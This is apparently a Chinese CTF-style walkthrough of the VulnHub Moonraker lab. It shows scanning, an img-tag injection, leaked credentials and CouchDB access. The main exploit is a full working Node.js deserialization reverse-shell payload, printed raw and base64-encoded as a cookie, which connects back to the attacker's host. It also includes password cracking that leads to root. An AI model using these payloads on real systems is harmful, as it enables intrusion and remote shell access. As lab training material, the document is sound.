目录
1.前言
本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
2.准备工作
镜像下载地址:https://download.vulnhub.com/moonraker/Moonraker.ova。
难度:有挑战性
文件下载完后,分别VMware导入,网卡1选择桥接模式,开启靶机
目标:获取/root/flag.txt。
靶机IP:未知
本机kali IP:192.168.1.107
3.arp-scan主机发现
使用命令:
arp-scan -l
发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。
4.网络扫描
nmap -A -p- 192.168.1.116
发现系统是linux,开放了22、80、3000、4369、5984、37785端口,具体情况如下。
编号 | 端口 | 服务 | 版本 |
1 | 22 | ssh | openssh7.4p1 |
2 | 80 | HTTP | Apache 2.4.25 |
3 | 3000 | 3000 | nodejs框架 |
4 | 4369 | epmd | Erlang Port Mapper Daemon |
5 | 5984 | http | CouchDB httpd 2.2.0 (Erlang OTP/19) |
6 | 37785 | 未知 | 未知 |
看看网站,浏览器访问:http://192.168.1.116,一段视频后显示主页
在services页面中发现连接send an inquiry,点击后跳转到页面
5.XXE漏洞
页面显示,销售代表会在5分钟内核对基于web的查询。有两个输入框。意味着我们的输入会存储到服务端某个地方,然后销售代表会访问它。我们不知道存储在什么地方。
我们可以启动一个http服务,供销售代表去访问,然后查看我们服务的后台日志,可以看到访问记录。
service apache2 start #启动apache
cd /var/www/html #切换到web服务目录
echo "test" > log.txt #创建测试文件
http://192.168.1.107/log.txt #用浏览器访问本机web服务,测试是否正常。
能够正常访问,把链接作为图片标签,填入靶机网站提供的输入窗口。
<img src="http://192.168.1.107/log.txt"></img>
提交后跳转到一下页面,点击后会返回主页。
tail -f /var/log/apache2/access.log #查看apache2 访问日志
从日志中发现一个URL,http://127.0.0.1/svc-inq/salesmoon-gui.php
把靶机本地IP改为靶机IP后,访问靶机上的链接
http://192.168.1.116/svc-inq/salesmoon-gui.php
有个链接点击连接后跳转到页面
6.信息泄露
在CouchDB Notes页面发现内容
提示管理员页面的存在,且用户名jaws的密码是girlfriends name + "x99"
在Hugo’s page moved to port 3k发现信息
显示Hugo的定制页面使用NodeJS服务,端口是3000,还有一旦使用账号密码登录后服务端对cookies的处理代码。对cookies进行了base64解码,然后反序列化。
谷歌jaws's girlfriends结果是dolly,得到账号密码,jaws/dollyx99
百度couchDB得知控制面板登录地址,即http://192.168.1.116:5984/_utils
使用浏览器访问http://192.168.1.116:5984/_utils。
输入账号密码,jaws/dollyx99,成功登录
点点点,在links下面显示了一些信息,获得几个地址。
/cats/cats-gallery.html、/surv-cam/recent.html、/HR-Confidential/offer-letters.html、/x-files/deep-space-findings.html
其他图片就不贴了。
地址拼接靶机ip分别访问,在http://192.168.1.116/HR-Confidential/offer-letters.html,发现信息。
链接是5个PDF文件
其他图就不贴了。泄露了4个账号密码,jaws/dollyx99,holly/ArchivesPistolsL2K,hugo/TempleLasersL2K,guard/FacProxsL2K,
特别是hugo的账号密码,提示通过3000端口登录
访问http://192.168.1.116:3000/ 通过账号密码hugo/TempleLasersL2K登录后显示。
页面内容没啥信息。看看F12,在Network->cookies中看到信息profile:"eyJ1c2VybmFtZSI6Imh1Z28ifQ=="
联想到在Hugo’s page moved to port 3k发现的信息,服务端NodeJS对cookies进行base64解码,然后反序列化。尝试NodeJS的反序列化漏洞。
7.NodeJS反序列化漏洞获取shell
NodeJS从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞。
msfvenom -p nodejs/shell_reverse_tcp lhost=192.168.1.107 lport=4444 #生成payload
生成结果如下:
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, "192.168.1.107", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
加上_$$ND_FUNC$$_头,再对其序列化,并转义”
{"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, \"192.168.1.107\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}
进行base64编码
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCg0NDQ0LCBcIjE5Mi4xNjguMS4xMDdcIiwgZnVuY3Rpb24oKSB7IGNsaWVudC5zb2NrZXQucGlwZShzaC5zdGRpbik7IGlmICh0eXBlb2YgdXRpbC5wdW1wID09PSBcInVuZGVmaW5lZFwiKSB7IHNoLnN0ZG91dC5waXBlKGNsaWVudC5zb2NrZXQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQuc29ja2V0KTsgfSBlbHNlIHsgdXRpbC5wdW1wKHNoLnN0ZG91dCwgY2xpZW50LnNvY2tldCk7IHV0aWwucHVtcChzaC5zdGRlcnIsIGNsaWVudC5zb2NrZXQpOyB9IH0pOyBzb2NrZXQub24oXCJlcnJvclwiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0oKSJ9
nc -vlp 4444 #监听本机4444端口
启动burpSuite抓包http://192.168.1.116:3000/,使用账号密码hugo/TempleLasersL2K登录后抓到数据包
使用base64编码后内容替换cookies的profile内容,然后放行。
本机获得反弹shell
转tty
python -c 'import pty; pty.spawn("/bin/bash")'
8.提权
netstat -antp #查看开放端口
发现靶机本地开放了25端口,提供邮件服务。没有账号密码。
在/opt/couchdb/etc/local.ini文件中发现账号密码。hugo = 321Blast0ff!!
su hugo #切换用户
321Blast0ff!! #输入密码
mail #查看邮件信息
在2邮件中,发现信息,包含root和旧的密码哈希root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::
新的密码为旧的密码+VR00M
复制旧的密码哈希到文件中,命名为old.hash。使用John the Ripper进行离线破解。得到密码cyber。
即新密码为cyberVR00M,账号root。
su root #切换用户为root
cyberVR00M #输入密码,成功登录,获得root权限。
flag在root目录下。
9.结语
最后请各位师傅斧正!!!